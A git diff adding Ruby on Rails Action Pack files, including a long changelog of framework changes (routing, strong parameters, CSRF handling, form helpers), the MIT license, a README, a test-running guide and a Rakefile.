+
+* Do not append `charset=` parameter when `head` is called with a
+ `:content_type` option.
+ Fixes #8661.
+
+ *Yves Senn*
+
+* Added `Mime::NullType` class. This allows to use `html?`, `xml?`, `json?`, etc.
+ when the format of the request is unknown, without raising an exception.
+
+ *Angelo Capilleri*
+
+* Integrate the Journey gem into Action Dispatch so that the global namespace
+ is not polluted with names that may be used as models.
+
+ *Andrew White*
+
+* Extract support for email address obfuscation via `:encode`, `:replace_at`, and `replace_dot`
+ options from the `mail_to` helper into the `actionview-encoded_mail_to` gem.
+
+ *Nick Reed + DHH*
+
+* Handle `:protocol` option in `stylesheet_link_tag` and `javascript_include_tag`
+
+ *Vasiliy Ermolovich*
+
+* Clear url helper methods when routes are reloaded. *Andrew White*
+
+* Fix a bug in `ActionDispatch::Request#raw_post` that caused `env['rack.input']`
+ to be read but not rewound.
+
+ *Matt Venables*
+
+* Prevent raising `EOFError` on multipart GET request (IE issue). *Adam Stankiewicz*
+
+* Rename all action callbacks from *_filter to *_action to avoid the misconception that these
+ callbacks are only suited for transforming or halting the response. With the new style,
+ it's more inviting to use them as they were intended, like setting shared ivars for views.
+
+ Example:
+
+ class PeopleController < ActionController::Base
+ before_action :set_person, except: [:index, :new, :create]
+ before_action :ensure_permission, only: [:edit, :update]
+
+ ...
+
+ private
+ def set_person
+ @person = current_account.people.find(params[:id])
+ end
+
+ def ensure_permission
+ current_person.can_change?(@person)
+ end
+ end
+
+ The old *_filter methods still work with no deprecation notice.
+
+ *DHH*
+
+* Add `cache_if` and `cache_unless` for conditional fragment caching:
+
+ Example:
+
+ <%= cache_if condition, project do %>
+ <b>All the topics on this project</b>
+ <%= render project.topics %>
+ <% end %>
+
+ # and
+
+ <%= cache_unless condition, project do %>
+ <b>All the topics on this project</b>
+ <%= render project.topics %>
+ <% end %>
+
+ *Stephen Ausman + Fabrizio Regini + Angelo Capilleri*
+
+* Add logging filter capability for redirect URLs:
+
+ config.filter_redirect << 'http://please.hide.it/'
+
+ *Fabrizio Regini*
+
+* Fixed a bug that ignores constraints on a glob route. This was caused because the constraint
+ regular expression is overwritten when the `routes.rb` file is processed. Fixes #7924
+
+ *Maura Fitzgerald*
+
+* More descriptive error messages when calling `render :partial` with
+ an invalid `:layout` argument.
+
+ Fixes #8376.
+
+ render partial: 'partial', layout: true
+
+ # results in ActionView::MissingTemplate: Missing partial /true
+
+ *Yves Senn*
+
+* Sweepers was extracted from Action Controller as `rails-observers` gem.
+
+ *Rafael Mendonça França*
+
+* Add option flag to `CacheHelper#cache` to manually bypass automatic template digests:
+
+ <% cache project, skip_digest: true do %>
+ ...
+ <% end %>
+
+ *Drew Ulmer*
+
+* Do not sort Hash options in `grouped_options_for_select`. *Sergey Kojin*
+
+* Accept symbols as `send_data :disposition` value *Elia Schito*
+
+* Add i18n scope to `distance_of_time_in_words`. *Steve Klabnik*
+
+* `assert_template`:
+ - is no more passing with empty string.
+ - is now validating option keys. It accepts: `:layout`, `:partial`, `:locals` and `:count`.
+
+ *Roberto Soares*
+
+* Allow setting a symbol as path in scope on routes. This is now allowed:
+
+ scope :api do
+ resources :users
+ end
+
+ It is also possible to pass multiple symbols to scope to shorten multiple nested scopes:
+
+ scope :api do
+ scope :v1 do
+ resources :users
+ end
+ end
+
+ can be rewritten as:
+
+ scope :api, :v1 do
+ resources :users
+ end
+
+ *Guillermo Iguaran + Amparo Luna*
+
+* Fix error when using a non-hash query argument named "params" in `url_for`.
+
+ Before:
+
+ url_for(params: "") # => undefined method `reject!' for "":String
+
+ After:
+
+ url_for(params: "") # => http://www.example.com?params=
+
+ *tumayun + Carlos Antonio da Silva*
+
+* Render every partial with a new `ActionView::PartialRenderer`. This resolves
+ issues when rendering nested partials.
+ Fixes #8197.
+
+ *Yves Senn*
+
+* Introduce `ActionView::Template::Handlers::ERB.escape_whitelist`. This is a list
+ of mime types where template text is not html escaped by default. It prevents `Jack & Joe`
+ from rendering as `Jack & Joe` for the whitelisted mime types. The default whitelist
+ contains `text/plain`.
+ Fixes #7976.
+
+ *Joost Baaij*
+
+* Fix input name when `multiple: true` and `:index` are set.
+
+ Before:
+
+ check_box("post", "comment_ids", { multiple: true, index: "foo" }, 1)
+ # => <input name=\"post[foo][comment_ids]\" type=\"hidden\" value=\"0\" /><input id=\"post_foo_comment_ids_1\" name=\"post[foo][comment_ids]\" type=\"checkbox\" value=\"1\" />
+
+ After:
+
+ check_box("post", "comment_ids", { multiple: true, index: "foo" }, 1)
+ # => <input name=\"post[foo][comment_ids][]\" type=\"hidden\" value=\"0\" /><input id=\"post_foo_comment_ids_1\" name=\"post[foo][comment_ids][]\" type=\"checkbox\" value=\"1\" />
+
+ Fixes #8108.
+
+ *Daniel Fox, Grant Hutchins & Trace Wax*
+
+* `date_select` helper accepts `with_css_classes: true` to add css classes similar with type
+ of generated select tags.
+
+ *Pavel Nikitin*
+
+* Only non-js/css under `app/assets` path will be included in default `config.assets.precompile`.
+
+ *Josh Peek*
+
+* Remove support for the `RAILS_ASSET_ID` environment configuration
+ (no longer needed now that we have the asset pipeline).
+
+ *Josh Peek*
+
+* Remove old `asset_path` configuration (no longer needed now that we have the asset pipeline).
+
+ *Josh Peek*
+
+* `assert_template` can be used to assert on the same template with different locals
+ Fixes #3675.
+
+ *Yves Senn*
+
+* Remove old asset tag concatenation (no longer needed now that we have the asset pipeline).
+
+ *Josh Peek*
+
+* Accept `:remote` as symbolic option for `link_to` helper. *Riley Lynch*
+
+* Warn when the `:locals` option is passed to `assert_template` outside of a view test case
+ Fixes #3415.
+
+ *Yves Senn*
+
+* The `Rack::Cache` middleware is now disabled by default. To enable it,
+ set `config.action_dispatch.rack_cache = true` and add `gem rack-cache` to your Gemfile.
+
+ *Guillermo Iguaran*
+
+* `ActionController::Base.page_cache_extension` option is deprecated
+ in favour of `ActionController::Base.default_static_extension`.
+
+ *Francesco Rodriguez*
+
+* Action and Page caching has been extracted from Action Dispatch
+ as `actionpack-action_caching` and `actionpack-page_caching` gems.
+ Please read the `README.md` file on both gems for the usage.
+
+ *Francesco Rodriguez*
+
+* Failsafe exception returns `text/plain`. *Steve Klabnik*
+
+* Rename internal variables on `ActionController::TemplateAssertions` to prevent
+ naming collisions. `@partials`, `@templates` and `@layouts` are now prefixed with an underscore.
+ Fixes #7459.
+
+ *Yves Senn*
+
+* `resource` and `resources` don't modify the passed options hash.
+ Fixes #7777.
+
+ *Yves Senn*
+
+* Precompiled assets include aliases from `foo.js` to `foo/index.js` and vice versa.
+
+ # Precompiles phone-<digest>.css and aliases phone/index.css to phone.css.
+ config.assets.precompile = [ 'phone.css' ]
+
+ # Precompiles phone/index-<digest>.css and aliases phone.css to phone/index.css.
+ config.assets.precompile = [ 'phone/index.css' ]
+
+ # Both of these work with either precompile thanks to their aliases.
+ <%= stylesheet_link_tag 'phone', media: 'all' %>
+ <%= stylesheet_link_tag 'phone/index', media: 'all' %>
+
+ *Jeremy Kemper*
+
+* `assert_template` is no more passing with what ever string that matches
+ with the template name.
+
+ Before when we have a template `/layout/hello.html.erb`, `assert_template`
+ was passing with any string that matches. This behavior allowed false
+ positive like:
+
+ assert_template "layout"
+ assert_template "out/hello"
+
+ Now it only passes with:
+
+ assert_template "layout/hello"
+ assert_template "hello"
+
+ Fixes #3849.
+
+ *Hugolnx*
+
+* `image_tag` will set the same width and height for image if numerical value
+ passed to `size` option.
+
+ *Nihad Abbasov*
+
+* Deprecate `Mime::Type#verify_request?` and `Mime::Type.browser_generated_types`,
+ since they are no longer used inside of Rails, they will be removed in Rails 4.1.
+
+ *Michael Grosser*
+
+* `ActionDispatch::Http::UploadedFile` now delegates `close` to its tempfile. *Sergio Gil*
+
+* Add `ActionController::StrongParameters`, this module converts `params` hash into
+ an instance of ActionController::Parameters that allows whitelisting of permitted
+ parameters. Non-permitted parameters are forbidden to be used in Active Model by default
+ For more details check the documentation of the module or the
+ [strong_parameters gem](https://github.com/rails/strong_parameters)
+
+ *DHH + Guillermo Iguaran*
+
+* Remove Integration between `attr_accessible`/`attr_protected` and
+ `ActionController::ParamsWrapper`. ParamWrapper now wraps all the parameters returned
+ by the class method `attribute_names`.
+
+ *Guillermo Iguaran*
+
+* Log now displays the correct status code when an exception is raised.
+ Fixes #7646.
+
+ *Yves Senn*
+
+* Allow pass couple extensions to `ActionView::Template.register_template_handler` call.
+
+ *Tima Maslyuchenko*
+
+* Sprockets integration has been extracted from Action Pack to the `sprockets-rails`
+ gem. `rails` gem is depending on `sprockets-rails` by default.
+
+ *Guillermo Iguaran*
+
+* `ActionDispatch::Session::MemCacheStore` now uses `dalli` instead of the deprecated
+ `memcache-client` gem.
+
+ *Arun Agrawal + Guillermo Iguaran*
+
+* Support multiple etags in If-None-Match header. *Travis Warlick*
+
+* Allow to configure how unverified request will be handled using `:with`
+ option in `protect_from_forgery` method.
+
+ Valid unverified request handling methods are:
+
+ - `:exception` - Raises ActionController::InvalidAuthenticityToken exception.
+ - `:reset_session` - Resets the session.
+ - `:null_session` - Provides an empty session during request but doesn't
+ reset it completely. Used as default if `:with` option is not specified.
+
+ New applications are generated with:
+
+ protect_from_forgery with: :exception
+
+ *Sergey Nartimov*
+
+* Add `.ruby` template handler, this handler simply allows arbitrary Ruby code as a template. *Guillermo Iguaran*
+
+* Add `separator` option for `ActionView::Helpers::TextHelper#excerpt`:
+
+ excerpt('This is a very beautiful morning', 'very', separator: ' ', radius: 1)
+ # => ...a very beautiful...
+
+ *Guirec Corbel*
+
+* Added controller-level etag additions that will be part of the action etag computation *Jeremy Kemper/DHH*
+
+ class InvoicesController < ApplicationController
+ etag { current_user.try :id }
+
+ def show
+ # Etag will differ even for the same invoice when it's viewed by a different current_user
+ @invoice = Invoice.find(params[:id])
+ fresh_when(@invoice)
+ end
+ end
+
+* Add automatic template digests to all `CacheHelper#cache` calls (originally spiked in the `cache_digests` plugin) *DHH*
+
+* When building a URL fails, add missing keys provided by Journey. Failed URL
+ generation now returns a 500 status instead of a 404.
+
+ *Richard Schneeman*
+
+* Deprecate availability of `ActionView::RecordIdentifier` in controllers by default.
+ It's view specific and can be easily included in controllers manually if someone
+ really needs it. Also deprecate calling `ActionController::RecordIdentifier.dom_id` and
+ `dom_class` directly, in favor of `ActionView::RecordIdentifier.dom_id` and `dom_class`.
+ `RecordIdentifier` will be removed from `ActionController::Base` in Rails 4.1.
+
+ *Piotr Sarnacki*
+
+* Fix `ActionView::RecordIdentifier` to work as a singleton. *Piotr Sarnacki*
+
+* Deprecate `Template#mime_type`, it will be removed in Rails 4.1 in favor of `#type`.
+ *Piotr Sarnacki*
+
+* Move vendored html-scanner from `action_controller` to `action_view` directory. If you
+ require it directly, please use 'action_view/vendor/html-scanner', reference to
+ 'action_controller/vendor/html-scanner' will be removed in Rails 4.1. *Piot Sarnacki*
+
+* Fix handling of date selects when using both disabled and discard options.
+ Fixes #7431.
+
+ *Vasiliy Ermolovich*
+
+* `ActiveRecord::SessionStore` is extracted out of Rails into a gem `activerecord-session_store`.
+ Setting `config.session_store` to `:active_record_store` will no longer work and will break
+ if the `activerecord-session_store` gem isn't available. *Prem Sichanugrist*
+
+* Fix `select_tag` when `option_tags` is nil.
+ Fixes #7404.
+
+ *Sandeep Ravichandran*
+
+* Add `Request#formats=(extensions)` that lets you set multiple formats directly in a prioritized order.
+
+ Example of using this for custom iphone views with an HTML fallback:
+
+ class ApplicationController < ActionController::Base
+ before_filter :adjust_format_for_iphone_with_html_fallback
+
+ private
+ def adjust_format_for_iphone_with_html_fallback
+ request.formats = [ :iphone, :html ] if request.env["HTTP_USER_AGENT"][/iPhone/]
+ end
+ end
+
+ *DHH*
+
+* Add Routing Concerns to declare common routes that can be reused inside
+ others resources and routes.
+
+ Code before:
+
+ resources :messages do
+ resources :comments
+ end
+
+ resources :posts do
+ resources :comments
+ resources :images, only: :index
+ end
+
+ Code after:
+
+ concern :commentable do
+ resources :comments
+ end
+
+ concern :image_attachable do
+ resources :images, only: :index
+ end
+
+ resources :messages, concerns: :commentable
+
+ resources :posts, concerns: [:commentable, :image_attachable]
+
+ *DHH + Rafael Mendonça França*
+
+* Add `start_hour` and `end_hour` options to the `select_hour` helper. *Evan Tann*
+
+* Raises an `ArgumentError` when the first argument in `form_for` contain `nil`
+ or is empty.
+
+ *Richard Schneeman*
+
+* Add 'X-Frame-Options' => 'SAMEORIGIN'
+ 'X-XSS-Protection' => '1; mode=block' and
+ 'X-Content-Type-Options' => 'nosniff'
+ as default headers.
+
+ *Egor Homakov*
+
+* Allow data attributes to be set as a first-level option for `form_for`, so you can write `form_for @record, data: { behavior: 'autosave' }` instead of `form_for @record, html: { data: { behavior: 'autosave' } }` *DHH*
+
+* Deprecate `button_to_function` and `link_to_function` helpers.
+
+ We recommend the use of Unobtrusive JavaScript instead. For example:
+
+ link_to "Greeting", "#", class: "nav_link"
+
+ $(function() {
+ $('.nav_link').click(function() {
+ // Some complex code
+
+ return false;
+ });
+ });
+
+ or
+
+ link_to "Greeting", '#', onclick: "alert('Hello world!'); return false", class: "nav_link"
+
+ for simple cases.
+
+ *Rafael Mendonça França*
+
+* `javascript_include_tag :all` will now not include `application.js` if the file does not exists. *Prem Sichanugrist*
+
+* Send an empty response body when call `head` with status between 100 and 199, 204, 205 or 304.
+
+ *Armand du Plessis*
+
+* Fixed issue with where digest authentication would not work behind a proxy. *Arthur Smith*
+
+* Added `ActionController::Live`. Mix it in to your controller and you can
+ stream data to the client live. For example:
+
+ class FooController < ActionController::Base
+ include ActionController::Live
+
+ def index
+ 100.times {
+ # Client will see this as it's written
+ response.stream.write "hello world\n"
+ sleep 1
+ }
+ response.stream.close
+ end
+ end
+
+ *Aaron Patterson*
+
+* Remove `ActionDispatch::Head` middleware in favor of `Rack::Head`. *Santiago Pastorino*
+
+* Deprecate `:confirm` in favor of `data: { confirm: "Text" }` option for `button_to`, `button_tag`, `image_submit_tag`, `link_to` and `submit_tag` helpers.
+
+ *Carlos Galdino + Rafael Mendonça França*
+
+* Show routes in exception page while debugging a `RoutingError` in development.
+
+ *Richard Schneeman + Mattt Thompson + Yves Senn*
+
+* Add `ActionController::Flash.add_flash_types` method to allow people to register their own flash types. e.g.:
+
+ class ApplicationController
+ add_flash_types :error, :warning
+ end
+
+ If you add the above code, you can use `<%= error %>` in an erb, and `redirect_to /foo, error: 'message'` in a controller.
+
+ *kennyj*
+
+* Remove Active Model dependency from Action Pack. *Guillermo Iguaran*
+
+* Support unicode characters in routes. Route will be automatically escaped, so instead of manually escaping:
+
+ get Rack::Utils.escape('こんにちは') => 'home#index'
+
+ You just have to write the unicode route:
+
+ get 'こんにちは' => 'home#index'
+
+ *kennyj*
+
+* Return proper format on exceptions. *Santiago Pastorino*
+
+* Allow to use `mounted_helpers` (helpers for accessing mounted engines) in `ActionView::TestCase`. *Piotr Sarnacki*
+
+* Include `mounted_helpers` (helpers for accessing mounted engines) in `ActionDispatch::IntegrationTest` by default. *Piotr Sarnacki*
+
+* Extracted redirect logic from `ActionController::ForceSSL::ClassMethods.force_ssl` into `ActionController::ForceSSL#force_ssl_redirect`
+
+ *Jeremy Friesen*
+
+* Make possible to use a block in `button_to` if the button text is hard
+ to fit into the name parameter, e.g.:
+
+ <%= button_to [:make_happy, @user] do %>
+ Make happy <strong><%= @user.name %></strong>
+ <% end %>
+ # => "<form method="post" action="/users/1/make_happy" class="button_to">
+ # <div>
+ # <button type="submit">
+ # Make happy <strong>Name</strong>
+ # </button>
+ # </div>
+ # </form>"
+
+ *Sergey Nartimov*
+
+* Change a way of ordering helpers from several directories. Previously,
+ when loading helpers from multiple paths, all of the helpers files were
+ gathered into one array an then they were sorted. Helpers from different
+ directories should not be mixed before loading them to make loading more
+ predictable. The most common use case for such behavior is loading helpers
+ from engines. When you load helpers from application and engine Foo, in
+ that order, first rails will load all of the helpers from application,
+ sorted alphabetically and then it will do the same for Foo engine.
+
+ *Piotr Sarnacki*
+
+* `truncate` now always returns an escaped HTML-safe string. The option `:escape` can be used as
+ false to not escape the result.
+
+ *Li Ellis Gallardo + Rafael Mendonça França*
+
+* `truncate` now accepts a block to show extra content when the text is truncated. *Li Ellis Gallardo*
+
+* Add `week_field`, `week_field_tag`, `month_field`, `month_field_tag`, `datetime_local_field`,
+ `datetime_local_field_tag`, `datetime_field` and `datetime_field_tag` helpers. *Carlos Galdino*
+
+* Add `color_field` and `color_field_tag` helpers. *Carlos Galdino*
+
+* `assert_generates`, `assert_recognizes`, and `assert_routing` all raise
+ `Assertion` instead of `RoutingError` *David Chelimsky*
+
+* URL path parameters with invalid encoding now raise `ActionController::BadRequest`. *Andrew White*
+
+* Malformed query and request parameter hashes now raise `ActionController::BadRequest`. *Andrew White*
+
+* Add `divider` option to `grouped_options_for_select` to generate a separator
+ `optgroup` automatically, and deprecate `prompt` as third argument, in favor
+ of using an options hash. *Nicholas Greenfield*
+
+* Add `time_field` and `time_field_tag` helpers which render an `input[type="time"]` tag. *Alex Soulim*
+
+* Removed old text helper apis from `highlight`, `excerpt` and `word_wrap`. *Jeremy Walker*
+
+* Templates without a handler extension now raises a deprecation warning but still
+ defaults to ERB. In future releases, it will simply return the template contents. *Steve Klabnik*
+
+* Deprecate `:disable_with` in favor of `data: { disable_with: "Text" }` option from `submit_tag`, `button_tag` and `button_to` helpers.
+
+ *Carlos Galdino + Rafael Mendonça França*
+
+* Remove `:mouseover` option from `image_tag` helper. *Rafael Mendonça França*
+
+* The `select` method (select tag) forces `:include_blank` if `required` is true and
+ `display size` is one and `multiple` is not true. *Angelo Capilleri*
+
+* Copy literal route constraints to defaults so that url generation know about them.
+ The copied constraints are `:protocol`, `:subdomain`, `:domain`, `:host` and `:port`.
+
+ *Andrew White*
+
+* `respond_to` and `respond_with` now raise `ActionController::UnknownFormat` instead
+ of directly returning head 406. The exception is rescued and converted to 406
+ in the exception handling middleware. *Steven Soroka*
+
+* Allows `assert_redirected_to` to match against a regular expression. *Andy Lindeman*
+
+* Add backtrace to development routing error page. *Richard Schneeman*
+
+* Replace `include_seconds` boolean argument with `include_seconds: true` option
+ in `distance_of_time_in_words` and `time_ago_in_words` signature. *Dmitriy Kiriyenko*
+
+* Make current object and counter (when it applies) variables accessible when
+ rendering templates with :object / :collection. *Carlos Antonio da Silva*
+
+* JSONP now uses mimetype `text/javascript` instead of `application/json`. *omjokine*
+
+* Allow to lazy load `default_form_builder` by passing a `String` instead of a constant. *Piotr Sarnacki*
+
+* Session arguments passed to `process` calls in functional tests are now merged into
+ the existing session, whereas previously they would replace the existing session.
+ This change may break some existing tests if they are asserting the exact contents of
+ the session but should not break existing tests that only assert individual keys.
+
+ *Andrew White*
+
+* Add `index` method to FormBuilder class. *Jorge Bejar*
+
+* Remove the leading \n added by textarea on `assert_select`. *Santiago Pastorino*
+
+* Changed default value for `config.action_view.embed_authenticity_token_in_remote_forms`
+ to `false`. This change breaks remote forms that need to work also without JavaScript,
+ so if you need such behavior, you can either set it to `true` or explicitly pass
+ `authenticity_token: true` in form options.
+
+* Added `ActionDispatch::SSL` middleware that when included force all the requests to be under HTTPS protocol. *Rafael Mendonça França*
+
+* Add `include_hidden` option to select tag. With `include_hidden: false` select with `multiple` attribute doesn't generate hidden input with blank value. *Vasiliy Ermolovich*
+
+* Removed default `size` option from the `text_field`, `search_field`, `telephone_field`, `url_field`, `email_field` helpers. *Philip Arndt*
+
+* Removed default `cols` and `rows` options from the `text_area` helper. *Philip Arndt*
+
+* Adds support for layouts when rendering a partial with a given collection. *serabe*
+
+* Allows the route helper `root` to take a string argument. For example, `root 'pages#main'`. *bcardarella*
+
+* Forms of persisted records use always PATCH (via the `_method` hack). *fxn*
+
+* For resources, both PATCH and PUT are routed to the `update` action. *fxn*
+
+* Don't ignore `force_ssl` in development. This is a change of behavior - use a `:if` condition to recreate the old behavior.
+
+ class AccountsController < ApplicationController
+ force_ssl if: :ssl_configured?
+
+ def ssl_configured?
+ !Rails.env.development?
+ end
+ end
+
+ *Pat Allan*
+
+* Adds support for the PATCH verb:
+ * Request objects respond to `patch?`.
+ * Routes have a new `patch` method, and understand `:patch` in the
+ existing places where a verb is configured, like `:via`.
+ * New method `patch` available in functional tests.
+ * If `:patch` is the default verb for updates, edits are
+ tunneled as PATCH rather than as PUT, and routing acts accordingly.
+ * New method `patch_via_redirect` available in integration tests.
+
+ *dlee*
+
+* Integration tests support the `OPTIONS` method. *Jeremy Kemper*
+
+* `expires_in` accepts a `must_revalidate` flag. If true, "must-revalidate"
+ is added to the Cache-Control header. *fxn*
+
+* Add `date_field` and `date_field_tag` helpers which render an `input[type="date"]` tag *Olek Janiszewski*
+
+* Adds `image_url`, `javascript_url`, `stylesheet_url`, `audio_url`, `video_url`, and `font_url`
+ to assets tag helper. These URL helpers will return the full path to your assets. This is useful
+ when you are going to reference this asset from external host. *Prem Sichanugrist*
+
+* Default responder will now always use your overridden block in `respond_with` to render your response. *Prem Sichanugrist*
+
+* Allow `value_method` and `text_method` arguments from `collection_select` and
+ `options_from_collection_for_select` to receive an object that responds to `:call`,
+ such as a `proc`, to evaluate the option in the current element context. This works
+ the same way with `collection_radio_buttons` and `collection_check_boxes`.
+
+ *Carlos Antonio da Silva + Rafael Mendonça França*
+
+* Add `collection_check_boxes` form helper, similar to `collection_select`:
+ Example:
+
+ collection_check_boxes :post, :author_ids, Author.all, :id, :name
+ # Outputs something like:
+ <input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" />
+ <label for="post_author_ids_1">D. Heinemeier Hansson</label>
+ <input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
+ <label for="post_author_ids_2">D. Thomas</label>
+ <input name="post[author_ids][]" type="hidden" value="" />
+
+ The label/check_box pairs can be customized with a block.
+
+ *Carlos Antonio da Silva + Rafael Mendonça França*
+
+* Add `collection_radio_buttons` form helper, similar to `collection_select`:
+ Example:
+
+ collection_radio_buttons :post, :author_id, Author.all, :id, :name
+ # Outputs something like:
+ <input id="post_author_id_1" name="post[author_id]" type="radio" value="1" />
+ <label for="post_author_id_1">D. Heinemeier Hansson</label>
+ <input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
+ <label for="post_author_id_2">D. Thomas</label>
+
+ The label/radio_button pairs can be customized with a block.
+
+ *Carlos Antonio da Silva + Rafael Mendonça França*
+
+* `check_box` with `:form` html5 attribute will now replicate the `:form`
+ attribute to the hidden field as well. *Carlos Antonio da Silva*
+
+* `label` form helper accepts `for: nil` to not generate the attribute. *Carlos Antonio da Silva*
+
+* Add `:format` option to `number_to_percentage`. *Rodrigo Flores*
+
+* Add `config.action_view.logger` to configure logger for Action View. *Rafael Mendonça França*
+
+* Deprecated `ActionController::Integration` in favour of `ActionDispatch::Integration`.
+
+* Deprecated `ActionController::IntegrationTest` in favour of `ActionDispatch::IntegrationTest`.
+
+* Deprecated `ActionController::PerformanceTest` in favour of `ActionDispatch::PerformanceTest`.
+
+* Deprecated `ActionController::AbstractRequest` in favour of `ActionDispatch::Request`.
+
+* Deprecated `ActionController::Request` in favour of `ActionDispatch::Request`.
+
+* Deprecated `ActionController::AbstractResponse` in favour of `ActionDispatch::Response`.
+
+* Deprecated `ActionController::Response` in favour of `ActionDispatch::Response`.
+
+* Deprecated `ActionController::Routing` in favour of `ActionDispatch::Routing`.
+
+* `check_box helper` with `disabled: true` will generate a disabled
+ hidden field to conform with the HTML convention where disabled fields are
+ not submitted with the form. This is a behavior change, previously the hidden
+ tag had a value of the disabled checkbox. *Tadas Tamosauskas*
+
+* `favicon_link_tag` helper will now use the favicon in app/assets by default. *Lucas Caton*
+
+* `ActionView::Helpers::TextHelper#highlight` now defaults to the
+ HTML5 `mark` element. *Brian Cardarella*
+
+Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/actionpack/CHANGELOG.md) for previous changes.
diff --git a/actionpack/MIT-LICENSE b/actionpack/MIT-LICENSE
new file mode 100644
index 0000000..5c668d9
--- /dev/null
+++ b/actionpack/MIT-LICENSE
@@ -0,0 +1,21 @@
+Copyright (c) 2004-2013 David Heinemeier Hansson
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
diff --git a/actionpack/README.rdoc b/actionpack/README.rdoc
new file mode 100644
index 0000000..29a7fcf
--- /dev/null
+++ b/actionpack/README.rdoc
@@ -0,0 +1,58 @@
+= Action Pack -- From request to response
+
+Action Pack is a framework for handling and responding to web requests. It
+provides mechanisms for *routing* (mapping request URLs to actions), defining
+*controllers* that implement actions, and generating responses by rendering
+*views*, which are templates of various formats. In short, Action Pack
+provides the view and controller layers in the MVC paradigm.
+
+It consists of several modules:
+
+* Action Dispatch, which parses information about the web request, handles
+ routing as defined by the user, and does advanced processing related to HTTP
+ such as MIME-type negotiation, decoding parameters in POST, PATCH, or PUT bodies,
+ handling HTTP caching logic, cookies and sessions.
+
+* Action Controller, which provides a base controller class that can be
+ subclassed to implement filters and actions to handle requests. The result
+ of an action is typically content generated from views.
+
+* Action View, which handles view template lookup and rendering, and provides
+ view helpers that assist when building HTML forms, Atom feeds and more.
+ Template formats that Action View handles are ERB (embedded Ruby, typically
+ used to inline short Ruby snippets inside HTML), and XML Builder.
+
+With the Ruby on Rails framework, users only directly interface with the
+Action Controller module. Necessary Action Dispatch functionality is activated
+by default and Action View rendering is implicitly triggered by Action
+Controller. However, these modules are designed to function on their own and
+can be used outside of Rails.
+
+
+== Download and installation
+
+The latest version of Action Pack can be installed with RubyGems:
+
+ % [sudo] gem install actionpack
+
+Source code can be downloaded as part of the Rails project on GitHub
+
+* https://github.com/rails/rails/tree/master/actionpack
+
+
+== License
+
+Action Pack is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
+
+
+== Support
+
+API documentation is at
+
+* http://api.rubyonrails.org
+
+Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+
+* https://github.com/rails/rails/issues
diff --git a/actionpack/RUNNING_UNIT_TESTS.rdoc b/actionpack/RUNNING_UNIT_TESTS.rdoc
new file mode 100644
index 0000000..1b29abd
--- /dev/null
+++ b/actionpack/RUNNING_UNIT_TESTS.rdoc
@@ -0,0 +1,27 @@
+== Running with Rake
+
+The easiest way to run the unit tests is through Rake. The default task runs
+the entire test suite for all classes. For more information, checkout the
+full array of rake tasks with "rake -T"
+
+Rake can be found at http://rake.rubyforge.org
+
+== Running by hand
+
+To run a single test suite
+
+ rake test TEST=path/to/test.rb
+
+which can be further narrowed down to one test:
+
+ rake test TEST=path/to/test.rb TESTOPTS="--name=test_something"
+
+== Dependency on Active Record and database setup
+
+Test cases in the test/active_record/ directory depend on having
+activerecord and sqlite installed. If Active Record is not in
+actionpack/../activerecord directory, or the sqlite rubygem is not installed,
+these tests are skipped.
+
+Other tests are runnable from a fresh copy of actionpack without any configuration.
+
diff --git a/actionpack/Rakefile b/actionpack/Rakefile
new file mode 100644
index 0000000..ba7956c
--- /dev/null
+++ b/actionpack/Rakefile
@@ -0,0 +1,83 @@
+require 'rake/testtask'
+require 'rake/packagetask'
+require 'rubygems/package_task'
+
+desc "Default Task"
+task :default => :test
+
+# Run the unit tests
+
+desc "Run all unit tests"
+task :test => [:test_action_pack, :test_active_record_integration]
+
+Rake::TestTask.new(:test_action_pack) do |t|
+ t.libs << 'test'
+
+ # make sure we include the tests in alphabetical order as on some systems
+ # this will not happen automatically and the tests (as a whole) will error
+ t.test_files = Dir.glob('test/{abstract,controller,dispatch,template,assertions,journey}/**/*_test.rb').sort
+
+ t.warning = true
+ t.verbose = true
+end
+
+namespace :test do
+ Rake::TestTask.new(:isolated) do |t|
+ t.libs << 'test'
+ t.pattern = 'test/ts_isolated.rb'
+ end
+
+ Rake::TestTask.new(:template) do |t|
+ t.libs << 'test'
+ t.pattern = 'test/template/**/*.rb'
+ end
+end
+
+desc 'ActiveRecord Integration Tests'
+Rake::TestTask.new(:test_active_record_integration) do |t|
+ t.libs << 'test'
+ t.test_files = Dir.glob("test/activerecord/*_test.rb")
+end
+
+spec = eval(File.read('actionpack.gemspec'))
+
+Gem::PackageTask.new(spec) do |p|
+ p.gem_spec = spec
+end
+
+desc "Release to gemcutter"
+task :release => :package do
+ require 'rake/gemcutter'
+ Rake::Gemcutter::Tasks.new(spec).define
+ Rake::Task['gem:push'].invoke
+end
+
+task :lines do
+ lines, codelines, total_lines, total_codelines = 0, 0, 0, 0
+
+ FileList["lib/**/*.rb"].each do |file_name|
+ next if file_name =~ /vendor/
+ File.open(file_name, 'r') do |f|
+ while line = f.gets
+ lines += 1
+ next if line =~ /^\s*$/
+ next if line =~ /^\s*#/
+ codelines += 1
+ end
+ end
+ puts "L: #{sprintf("%4d", lines)}, LOC #{sprintf("%4d", codelines)} | #{file_name}"
+
+ total_lines += lines
+ total_codelines += codelines
+
+ lines, codelines = 0, 0
+ end
+
+ puts "Total: Lines #{total_lines}, LOC #{total_codelines}"
+end
+
